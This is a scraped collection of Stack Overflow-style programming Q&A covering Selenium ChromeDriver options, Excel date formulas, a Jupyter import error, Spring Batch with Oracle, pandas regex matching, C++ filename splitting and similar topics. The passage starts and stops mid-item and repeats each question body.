    CheckBox::selectedProperty);

The observable list would be created with the extractor just returning param.observableValue() as above.


问:
Chrome is being controlled by automated test software
I am running automated tests in Chrome with Serenity BDD (Selenium).

I had to download a new ChromeDriver, because my tests could not run -> The test would open ChromeDriver but could not "Browse as user". When I googled the issue, they said I had to update ChromeDriver.

So I updated ChromeDriver to version 2.28 and I also updated the Chrome version to Version 57.0.2987.98.

But now - EVERY TIME I run my tests this annoying text comes up:

Chrome is being controlled by automated test software

And it asks me if I want to save password. (I can't add pictures because I don't have enough "points")

In the previous version, I had managed to block these 2 things by:

```<code>public class CustomChromeDriver implements DriverSource {

    @Override
    public WebDriver newDriver() {
        try {
            DesiredCapabilities capabilities = DesiredCapabilities.chrome();
            Proxy proxy = new Proxy();
            String proxyServer = String.format("AProxyIDontWantToDisplay", System.getenv("proxy.username"), System.getenv("proxy.password"));
            proxy.setHttpProxy(proxyServer);
            capabilities.setCapability("proxy", proxy);
            ChromeOptions options = new ChromeOptions();
            options.addArguments(Arrays.asList("--no-sandbox","--ignore-certificate-errors","--homepage=about:blank","--no-first-run"));
            capabilities.setCapability(ChromeOptions.CAPABILITY, options);
            ChromeDriver driver = new ChromeDriver(capabilities);
            return driver;
        } catch (Exception e) {
            throw new Error(e);
        }
    }

    @Override
    public boolean takesScreenshots() {
        return true;
    }
}
</code>```

I know there is this one (A link to same issue),
but there are too many answers that don't work.

Anybody that knows how to remove that?

答:
Previously, passing the "disable-infobars” ChromeOption to the WebDriver prevented Chrome from displaying this notification. Recently, the "disable-infobars" option has been deprecated and no longer removes the notification. The current workaround for this is to pass in an option called "excludeSwitches" and then exclude the "enable_automation" switch.</p>

```<code>ChromeOptions options = new ChromeOptions();
options.setExperimentalOption("excludeSwitches", new String[]{"enable-automation"});
WebDriver driver = new ChromeDriver(options);
</code>```

Body:
I am running automated tests in Chrome with Serenity BDD (Selenium).

I had to download a new ChromeDriver, because my tests could not run -> The test would open ChromeDriver but could not "Browse as user". When I googled the issue, they said I had to update ChromeDriver.

So I updated ChromeDriver to version 2.28 and I also updated the Chrome version to Version 57.0.2987.98.

But now - EVERY TIME I run my tests this annoying text comes up:

Chrome is being controlled by automated test software

And it asks me if I want to save password. (I can't add pictures because I don't have enough "points")

In the previous version, I had managed to block these 2 things by:

public class CustomChromeDriver implements DriverSource {

    @Override
    public WebDriver newDriver() {
        try {
            DesiredCapabilities capabilities = DesiredCapabilities.chrome();
            Proxy proxy = new Proxy();
            String proxyServer = String.format("AProxyIDontWantToDisplay", System.getenv("proxy.username"), System.getenv("proxy.password"));
            proxy.setHttpProxy(proxyServer);
            capabilities.setCapability("proxy", proxy);
            ChromeOptions options = new ChromeOptions();
            options.addArguments(Arrays.asList("--no-sandbox","--ignore-certificate-errors","--homepage=about:blank","--no-first-run"));
            capabilities.setCapability(ChromeOptions.CAPABILITY, options);
            ChromeDriver driver = new ChromeDriver(capabilities);
            return driver;
        } catch (Exception e) {
            throw new Error(e);
        }
    }

    @Override
    public boolean takesScreenshots() {
        return true;
    }
}

I know there is this one (A link to same issue),
but there are too many answers that don't work.

Anybody that knows how to remove that?

Body:
Previously, passing the "disable-infobars” ChromeOption to the WebDriver prevented Chrome from displaying this notification. Recently, the "disable-infobars" option has been deprecated and no longer removes the notification. The current workaround for this is to pass in an option called "excludeSwitches" and then exclude the "enable_automation" switch.

ChromeOptions options = new ChromeOptions();
options.setExperimentalOption("excludeSwitches", new String[]{"enable-automation"});
WebDriver driver = new ChromeDriver(options);


问:
Multi-threading access to MapPoint?
Good afternoon,

As I said earlier in another post, I have to calculate some 8,000,000 shortest- time/path distances between some points in the map, the coordinates of which are know. The problem is that, while straight-line distances were easy (and quick) to calculate, someone told me that a single-threaded application can have problems calculating this number of distances using MapPoint. The question is that I know nothing about multi-threading... I am currently working on a i7 - 720QM environment, so I would like to use all the 4 cores to make these calculations... Is there any easy way of doing this in C# or C++?

Thank you very much.

答:
If you are totally new to the Multithreading than my advice start with BackGroundWorker component as a starting point and gradually switch to more garnular threading concepts.

and if you are using ..net 4.0 than Task Parallel Library gives you easy way to start with.

See Links Below

TPL

BackGroundWorker

ContentLicense: CC BY-SA 2.5

Title: Multi-threading access to MapPoint?


问:
Excel IF Date less than a Date not working
I have the following Excel code:

```<code>=IF(K4<=31/03/2014,TRUE,FALSE)
</code>```

K4 contains a date:

```<code>01/01/2014
</code>```

Yes, the code brings back FALSE, I have also tried =IF(K4<="31/03/2014",TRUE,FALSE) but with the same result.

Any ideas or suggestions as to where I am going wrong?

答: I had the same problem and found that excel was not recognizing one of my 2 columns as a date.  (Try changing the date format to 14-Mar-12 to see if this is the case for you)</p>

Body:
I have the following Excel code:

=IF(K4<=31/03/2014,TRUE,FALSE)

K4 contains a date:

01/01/2014

Yes, the code brings back FALSE, I have also tried =IF(K4<="31/03/2014",TRUE,FALSE) but with the same result.

Any ideas or suggestions as to where I am going wrong?


问:
Can't run `jupyter notebook` after fresh installation
I did:

```<code>pip install --upgrade pip
pip install jupyter
jupyter notebook
</code>```

And I get the following error:

```<code>    Traceback (most recent call last):
  File "/usr/local/bin/jupyter-notebook", line 7, in <module>
    from notebook.notebookapp import main
  File "/Library/Python/2.7/site-packages/notebook/notebookapp.py", line 61, in <module>
    from .services.kernels.kernelmanager import MappingKernelManager
  File "/Library/Python/2.7/site-packages/notebook/services/kernels/kernelmanager.py", line 16, in <module>
    from jupyter_client.multikernelmanager import MultiKernelManager
  File "/Library/Python/2.7/site-packages/jupyter_client/__init__.py", line 7, in <module>
    from .manager import KernelManager, run_kernel
  File "/Library/Python/2.7/site-packages/jupyter_client/manager.py", line 32, in <module>
    from .session import Session
  File "/Library/Python/2.7/site-packages/jupyter_client/session.py", line 51, in <module>
    from dateutil.tz import tzutc
  File "/Library/Python/2.7/site-packages/dateutil/tz/__init__.py", line 1, in <module>
    from .tz import *
  File "/Library/Python/2.7/site-packages/dateutil/tz/tz.py", line 23, in <module>
    from ._common import tzname_in_python2, _tzinfo, _total_seconds
  File "/Library/Python/2.7/site-packages/dateutil/tz/_common.py", line 2, in <module>
    from six.moves import _thread
ImportError: cannot import name _thread
</code>```

Thanks.

答:
It seems that some Matplotlib users had similar issue (see there) and solved it by re-installing dateutil.

```<code>sudo pip uninstall python-dateutil
sudo pip install python-dateutil==2.2
</code>```

You might want to try with a newer version (the latest is 2.6).

Body:
I did:

pip install --upgrade pip
pip install jupyter
jupyter notebook

And I get the following error:

    Traceback (most recent call last):
  File "/usr/local/bin/jupyter-notebook", line 7, in <module>
    from notebook.notebookapp import main
  File "/Library/Python/2.7/site-packages/notebook/notebookapp.py", line 61, in <module>
    from .services.kernels.kernelmanager import MappingKernelManager
  File "/Library/Python/2.7/site-packages/notebook/services/kernels/kernelmanager.py", line 16, in <module>
    from jupyter_client.multikernelmanager import MultiKernelManager
  File "/Library/Python/2.7/site-packages/jupyter_client/__init__.py", line 7, in <module>
    from .manager import KernelManager, run_kernel
  File "/Library/Python/2.7/site-packages/jupyter_client/manager.py", line 32, in <module>
    from .session import Session
  File "/Library/Python/2.7/site-packages/jupyter_client/session.py", line 51, in <module>
    from dateutil.tz import tzutc
  File "/Library/Python/2.7/site-packages/dateutil/tz/__init__.py", line 1, in <module>
    from .tz import *
  File "/Library/Python/2.7/site-packages/dateutil/tz/tz.py", line 23, in <module>
    from ._common import tzname_in_python2, _tzinfo, _total_seconds
  File "/Library/Python/2.7/site-packages/dateutil/tz/_common.py", line 2, in <module>
    from six.moves import _thread
ImportError: cannot import name _thread

Thanks.

Body:
It seems that some Matplotlib users had similar issue (see there) and solved it by re-installing dateutil.

sudo pip uninstall python-dateutil
sudo pip install python-dateutil==2.2

You might want to try with a newer version (the latest is 2.6).


问:
WordPress - Code Snippet plugin
I am working on a new Wordpress blog and it's very important to have code snippets in it.

So to highlight the code snippet I downloaded a Code Snippet plugin from https://wordpress.org/plugins/codesnippet-20/

Now, everything is screwed up. Below is the error when I access the site.

Warning: require_once(geshi.php): failed to open stream:

No such file or directory in /home1/jamburster/public_html/wp-content/plugins/codesnippet-20/codesnippet.php on line 126

```<code>Fatal error: require_once(): Failed opening required 'geshi.php'
(include_path='.:/opt/php56/lib/php:/home1/jamburster/public_html//wp-content/plugins/codesnippet/lib:/home1/jamburster/public_html//wp-content/plugins/codesnippet/lib/PEAR')
in /home1/jamburster/public_html/wp-content/plugins/codesnippet-20/codesnippet.php on line 126
</code>```

Here is what I did.
1. Downloaded the archive from https://wordpress.org/plugins/codesnippet-20/
2. Uploaded the plugin WordPress -> Plugins -> Add Plugin. Browsed the downloaded one and clicked on upload.
3. Activated the plugin.

Can anyone please help.

答: i suggest you, using crayon syntax highlighter instead of current plugin</p>

Title: WordPress - Code Snippet plugin

Body:
I am working on a new Wordpress blog and it's very important to have code snippets in it.

So to highlight the code snippet I downloaded a Code Snippet plugin from https://wordpress.org/plugins/codesnippet-20/

Now, everything is screwed up. Below is the error when I access the site.

Warning: require_once(geshi.php): failed to open stream:

No such file or directory in /home1/jamburster/public_html/wp-content/plugins/codesnippet-20/codesnippet.php on line 126

Fatal error: require_once(): Failed opening required 'geshi.php'
(include_path='.:/opt/php56/lib/php:/home1/jamburster/public_html//wp-content/plugins/codesnippet/lib:/home1/jamburster/public_html//wp-content/plugins/codesnippet/lib/PEAR')
in /home1/jamburster/public_html/wp-content/plugins/codesnippet-20/codesnippet.php on line 126

Here is what I did.
1. Downloaded the archive from https://wordpress.org/plugins/codesnippet-20/
2. Uploaded the plugin WordPress -> Plugins -> Add Plugin. Browsed the downloaded one and clicked on upload.
3. Activated the plugin.

Can anyone please help.


问:
Python 3.5 'list' object has no attribute 'min' and unorderable types: str() < int() and
I'm trying to follow this tutorial here using python 3.5, however I'm getting errors instead of the expected results. Also, I would appreciate if you explain what the indicated line below does. </p>

```<code>import matplotlib.pyplot as plt
x=[1,2,3,4,5]
y=[1,2,3,4,5]

list1, list2 = [123, 'xyz', 'zara', 'abc'], [456, 700, 200]
print ("min value element : ", min(list1))
print ("min value element : ", min(list2))

plt.scatter(x, y,  color='red')
#please explain this line:
plt.plot([y.min(), y.max()], [y.min(), y.max()], color='blue', linewidth=3)

plt.show()
</code>```

答: Numpy arrays have min and max methods, Python lists don't. Python does have min and max functions, which are slower on numpy arrays in particular since they would iterate over all entries as Python objects. That tutorial erroneously refers to the functions as methods, and they operate on iterables, not necessarily lists. </p>

Body:
I'm trying to follow this tutorial here using python 3.5, however I'm getting errors instead of the expected results. Also, I would appreciate if you explain what the indicated line below does.

import matplotlib.pyplot as plt
x=[1,2,3,4,5]
y=[1,2,3,4,5]

list1, list2 = [123, 'xyz', 'zara', 'abc'], [456, 700, 200]
print ("min value element : ", min(list1))
print ("min value element : ", min(list2))

plt.scatter(x, y,  color='red')
#please explain this line:
plt.plot([y.min(), y.max()], [y.min(), y.max()], color='blue', linewidth=3)

plt.show()


答:
Another option, you can use str.match which matches a regex from the beginning of a string:

```<code>df
#     A
#0  2sdf
#1  sd3
#2  sss
#3  45q

df.A.str.match("\d")

#0     True
#1    False
#2    False
#3     True
#Name: A, dtype: bool
</code>```

Title: How to check if first character in a Python dataframe column is a digit

Body:
Another option, you can use str.match which matches a regex from the beginning of a string:

df
#     A
#0  2sdf
#1  sd3
#2  sss
#3  45q

df.A.str.match("\d")

#0     True
#1    False
#2    False
#3     True
#Name: A, dtype: bool


问:
C++ - Splitting Filename and File Extension
Ok, first of all I don't want to use Boost, or any external libraries. I just want to use the C++ Standard Library. I can easily split strings with a given delimiter with my split() function:

```<code>void split(std::string &string, std::vector<std::string> &tokens, const char &delim) {
    std::string ea;
    std::stringstream stream(string);
    while(getline(stream, ea, delim))
        tokens.push_back(ea);
}
</code>```

I do this on filenames. But there's a problem. There are files that have extensions like: tar.gz, tar.bz2, etc. Also there are some filenames that have extra dots. Some.file.name.tar.gz. I wish to separate Some.file.name and tar.gz Note: The number of dots in a filename isn't constant.

I also tried PathFindExtension but no luck. Is this possible? If so, please enlighten me. Thank you.

Edit: I'm very sorry about not specifying the OS. It's Windows.

答: I think you could use std::string find_last_of to get the index of the last ., and substr to cut the string (although the "complex extensions" involving multiple dots will require additional work).

Body:
Ok, first of all I don't want to use Boost, or any external libraries. I just want to use the C++ Standard Library. I can easily split strings with a given delimiter with my split() function:

void split(std::string &string, std::vector<std::string> &tokens, const char &delim) {
    std::string ea;
    std::stringstream stream(string);
    while(getline(stream, ea, delim))
        tokens.push_back(ea);
}

I do this on filenames. But there's a problem. There are files that have extensions like: tar.gz, tar.bz2, etc. Also there are some filenames that have extra dots. Some.file.name.tar.gz. I wish to separate Some.file.name and tar.gz Note: The number of dots in a filename isn't constant.

I also tried PathFindExtension but no luck. Is this possible? If so, please enlighten me. Thank you.

Edit: I'm very sorry about not specifying the OS. It's Windows.


问:
Spring batch generates ORA-01453: SET TRANSACTION must be first statement of transaction
I'm trying to set up a Spring Batch job which reads from an Oracle DB and then writes to xml. But it won't get further than the reading process, where I get this exception:

```<code>java.lang.IllegalStateException: Failed to execute CommandLineRunner
at org.springframework.boot.SpringApplication.callRunner(SpringApplication.java:779) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.callRunners(SpringApplication.java:760) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.afterRefresh(SpringApplication.java:747) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.run(SpringApplication.java:315) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1162) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1151) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at hello.Application.main(Application.java:10) [classes/:na]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_20]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_20]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_20]
at java.lang.reflect.Method.invoke(Method.java:483) ~[na:1.8.0_20]
at com.intellij.rt.execution.application.AppMain.main(AppMain.java:147) [idea_rt.jar:na]
Caused by: org.springframework.transaction.CannotCreateTransactionException: Could not open JDBC Connection for transaction; nested exception is java.sql.SQLException: ORA-01453: SET TRANSACTION must be first statement of transaction
at org.springframework.jdbc.datasource.DataSourceTransactionManager.doBegin(DataSourceTransactionManager.java:289) ~[spring-jdbc-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.transaction.support.AbstractPlatformTransactionManager.getTransaction(AbstractPlatformTransactionManager.java:373) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.transaction.interceptor.TransactionAspectSupport.createTransactionIfNecessary(TransactionAspectSupport.java:427) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:276) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:213) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at com.sun.proxy.$Proxy41.getLastJobExecution(Unknown Source) ~[na:na]
at org.springframework.batch.core.launch.support.SimpleJobLauncher.run(SimpleJobLauncher.java:98) ~[spring-batch-core-3.0.7.RELEASE.jar:3.0.7.RELEASE]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_20]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_20]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_20]
at java.lang.reflect.Method.invoke(Method.java:483) ~[na:1.8.0_20]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:333) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(ReflectiveMethodInvocation.java:190) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.batch.core.configuration.annotation.SimpleBatchConfiguration$PassthruAdvice.invoke(SimpleBatchConfiguration.java:127) ~[spring-batch-core-3.0.7.RELEASE.jar:3.0.7.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:213) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at com.sun.proxy.$Proxy46.run(Unknown Source) ~[na:na]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.execute(JobLauncherCommandLineRunner.java:214) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.executeLocalJobs(JobLauncherCommandLineRunner.java:231) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.launchJobFromProperties(JobLauncherCommandLineRunner.java:123) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.run(JobLauncherCommandLineRunner.java:117) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.callRunner(SpringApplication.java:776) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
... 11 common frames omitted
</code>```

Caused by: java.sql.SQLException: ORA-01453: SET TRANSACTION must be first statement of transaction

I've implemented the reader bean like this:

```<code>@Configuration
@EnableBatchProcessing
@Import(DataSourceConfiguration.class)
public class BatchConfiguration {
    @Autowired
    public DataSource dataSource;

    @Bean
    public JdbcCursorItemReader<LeaveBalanceDTO> reader(){
        JdbcCursorItemReader<LeaveBalanceDTO> reader = new JdbcCursorItemReader<>();
        String sql = "SELECT * FROM sapleave";
        reader.setDataSource(dataSource);
        reader.setSql(sql);
        reader.setRowMapper(new BeanPropertyRowMapper<>(LeaveBalanceDTO.class));
        return reader;
    }
</code>```

And the datasource configuration looks like this

```<code>@PropertySource(value=("classpath:application.properties"))
public class DataSourceConfiguration {
    @Autowired
    Environment environment;

    @Bean
    public DataSource dataSource() {
        return DataSourceBuilder
            .create()
            .driverClassName(environment.getProperty("CDL.driverClassName"))
            .url(environment.getProperty("CDL.url"))
            .username(environment.getProperty("CDL.username"))
            .password(environment.getProperty("CDL.password"))
            .build();
    }
</code>```

I thought TransactionManagement was done automatically by Spring Batch with the @EnableBatchProcessing. And also I didn't think for select queries a transaction is even needed. Somebody have an idea of what is going wrong? Thanks in advance!

Edit: Instead of DataSourceBuilder I have implemented OracleDataSource like this:

```<code>@Bean
public DataSource dataSource() throws SQLException {
    OracleDataSource dataSource = new OracleDataSource();
    dataSource.setUser(environment.getProperty("CDL.username"));
    dataSource.setPassword(environment.getProperty("CDL.password"));
    dataSource.setURL(environment.getProperty("CDL.url"));
    return dataSource;
}
</code>```

But now I get this error:

```<code>Caused by: org.springframework.dao.DataAccessResourceFailureException: Could not obtain sequence value; nested exception is java.sql.SQLSyntaxErrorException: ORA-02289: sequence does not exist
</code>```

At the startup of the application I see that spring is running a sql script, I guess to create a temporary database:

```<code>2017-03-29 15:43:57.200  INFO 19332 --- [           main] o.s.jdbc.datasource.init.ScriptUtils     : Executing SQL script from class path resource [org/springframework/batch/core/schema-oracle10g.sql]
2017-03-29 15:43:57.285  INFO 19332 --- [           main] o.s.jdbc.datasource.init.ScriptUtils     : Executed SQL script from class path resource [org/springframework/batch/core/schema-oracle10g.sql] in 85 ms.
</code>```

And it seems like some sequences are getting created in there. I don't know if it has something to do with this problem but I am using an Oracle 9i for retrieving my data. Any ideas on possible solutions? Thanks!

答:
I fixed it myself by preventing spring batch to store the job repository in the Oracle DB. What I did is let Spring create an embedded hsqldb to store its job repo. I did this based on these 2 posts:

Spring Batch - How to prevent batch from storing transactions in DB

How to java-configure separate datasources for spring batch data and business data? Should I even do it?

Body:
I'm trying to set up a Spring Batch job which reads from an Oracle DB and then writes to xml. But it won't get further than the reading process, where I get this exception:

java.lang.IllegalStateException: Failed to execute CommandLineRunner
at org.springframework.boot.SpringApplication.callRunner(SpringApplication.java:779) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.callRunners(SpringApplication.java:760) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.afterRefresh(SpringApplication.java:747) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.run(SpringApplication.java:315) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1162) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.run(SpringApplication.java:1151) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at hello.Application.main(Application.java:10) [classes/:na]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_20]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_20]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_20]
at java.lang.reflect.Method.invoke(Method.java:483) ~[na:1.8.0_20]
at com.intellij.rt.execution.application.AppMain.main(AppMain.java:147) [idea_rt.jar:na]
Caused by: org.springframework.transaction.CannotCreateTransactionException: Could not open JDBC Connection for transaction; nested exception is java.sql.SQLException: ORA-01453: SET TRANSACTION must be first statement of transaction
at org.springframework.jdbc.datasource.DataSourceTransactionManager.doBegin(DataSourceTransactionManager.java:289) ~[spring-jdbc-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.transaction.support.AbstractPlatformTransactionManager.getTransaction(AbstractPlatformTransactionManager.java:373) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.transaction.interceptor.TransactionAspectSupport.createTransactionIfNecessary(TransactionAspectSupport.java:427) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:276) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) ~[spring-tx-4.2.3.RELEASE.jar:4.2.3.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:213) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at com.sun.proxy.$Proxy41.getLastJobExecution(Unknown Source) ~[na:na]
at org.springframework.batch.core.launch.support.SimpleJobLauncher.run(SimpleJobLauncher.java:98) ~[spring-batch-core-3.0.7.RELEASE.jar:3.0.7.RELEASE]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_20]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_20]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_20]
at java.lang.reflect.Method.invoke(Method.java:483) ~[na:1.8.0_20]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:333) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(ReflectiveMethodInvocation.java:190) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.batch.core.configuration.annotation.SimpleBatchConfiguration$PassthruAdvice.invoke(SimpleBatchConfiguration.java:127) ~[spring-batch-core-3.0.7.RELEASE.jar:3.0.7.RELEASE]
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:213) ~[spring-aop-4.3.7.RELEASE.jar:4.3.7.RELEASE]
at com.sun.proxy.$Proxy46.run(Unknown Source) ~[na:na]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.execute(JobLauncherCommandLineRunner.java:214) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.executeLocalJobs(JobLauncherCommandLineRunner.java:231) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.launchJobFromProperties(JobLauncherCommandLineRunner.java:123) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.autoconfigure.batch.JobLauncherCommandLineRunner.run(JobLauncherCommandLineRunner.java:117) ~[spring-boot-autoconfigure-1.5.2.RELEASE.jar:1.5.2.RELEASE]
at org.springframework.boot.SpringApplication.callRunner(SpringApplication.java:776) [spring-boot-1.5.2.RELEASE.jar:1.5.2.RELEASE]
... 11 common frames omitted

Caused by: java.sql.SQLException: ORA-01453: SET TRANSACTION must be first statement of transaction

I've implemented the reader bean like this:

@Configuration
@EnableBatchProcessing
@Import(DataSourceConfiguration.class)
public class BatchConfiguration {
    @Autowired
    public DataSource dataSource;

    @Bean
    public JdbcCursorItemReader<LeaveBalanceDTO> reader(){
        JdbcCursorItemReader<LeaveBalanceDTO> reader = new JdbcCursorItemReader<>();
        String sql = "SELECT * FROM sapleave";
        reader.setDataSource(dataSource);
        reader.setSql(sql);
        reader.setRowMapper(new BeanPropertyRowMapper<>(LeaveBalanceDTO.class));
        return reader;
    }

And the datasource configuration looks like this

@PropertySource(value=("classpath:application.properties"))
public class DataSourceConfiguration {
    @Autowired
    Environment environment;

    @Bean
    public DataSource dataSource() {
        return DataSourceBuilder
            .create()
            .driverClassName(environment.getProperty("CDL.driverClassName"))
            .url(environment.getProperty("CDL.url"))
            .username(environment.getProperty("CDL.username"))
            .password(environment.getProperty("CDL.password"))
            .build();
    }

I thought TransactionManagement was done automatically by Spring Batch with the @EnableBatchProcessing. And also I didn't think for select queries a transaction is even needed. Somebody have an idea of what is going wrong? Thanks in advance!

Edit: Instead of DataSourceBuilder I have implemented OracleDataSource like this:

@Bean
public DataSource dataSource() throws SQLException {
    OracleDataSource dataSource = new OracleDataSource();
    dataSource.setUser(environment.getProperty("CDL.username"));
    dataSource.setPassword(environment.getProperty("CDL.password"));
    dataSource.setURL(environment.getProperty("CDL.url"));
    return dataSource;
}

But now I get this error:

Caused by: org.springframework.dao.DataAccessResourceFailureException: Could not obtain sequence value; nested exception is java.sql.SQLSyntaxErrorException: ORA-02289: sequence does not exist

At the startup of the application I see that spring is running a sql script, I guess to create a temporary database:

2017-03-29 15:43:57.200  INFO 19332 --- [           main] o.s.jdbc.datasource.init.ScriptUtils     : Executing SQL script from class path resource [org/springframework/batch/core/schema-oracle10g.sql]
2017-03-29 15:43:57.285  INFO 19332 --- [           main] o.s.jdbc.datasource.init.ScriptUtils     : Executed SQL script from class path resource [org/springframework/batch/core/schema-oracle10g.sql] in 85 ms.

And it seems like some sequences are getting created in there. I don't know if it has something to do with this problem but I am using an Oracle 9i for retrieving my data. Any ideas on possible solutions? Thanks!


问:
Python Skips Numbers
I'm writing a program that's supposed to determine the square root of a number by brute force. However, certain numbers(same every time).

Here is the code:

```<code>toCalc = 3

guess = toCalc
toCalc = round(toCalc, 2)
while 1+1==2:

        print "Trying ", guess, "..."
        calc = guess * guess
        calc = round(calc, 2)
        print calc
        guess = guess - 0.01
        if calc == toCalc:
                break
</code>```

And here is the output:

```<code>Trying  1.22 ...
1.49
Trying  1.21 ...
1.46
Trying  1.2 ...
1.44
Trying  1.19 ...
1.42
Trying  1.18 ...
1.39
Trying  1.17 ...
1.37
Trying  1.16 ...
1.35
Trying  1.15 ...
1.32
Trying  1.14 ...
1.3
Trying  1.13 ...
1.28
Trying  1.12 ...
1.25
Trying  1.11 ...
1.23
Trying  1.1 ...
1.21
Trying  1.09 ...
1.19
Trying  1.08 ...
1.17
Trying  1.07 ...
1.14
